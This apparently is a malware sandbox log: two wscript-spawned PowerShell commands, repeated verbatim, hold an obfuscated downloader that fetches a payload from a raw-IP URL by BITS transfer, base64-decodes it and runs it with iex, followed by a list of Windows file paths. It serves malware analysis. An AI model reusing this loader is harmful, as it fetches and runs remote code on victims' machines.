parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powerszell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Program Files\Qemu-ga\qemu-ga.exe
file C:\Program Files\qga\qga.exe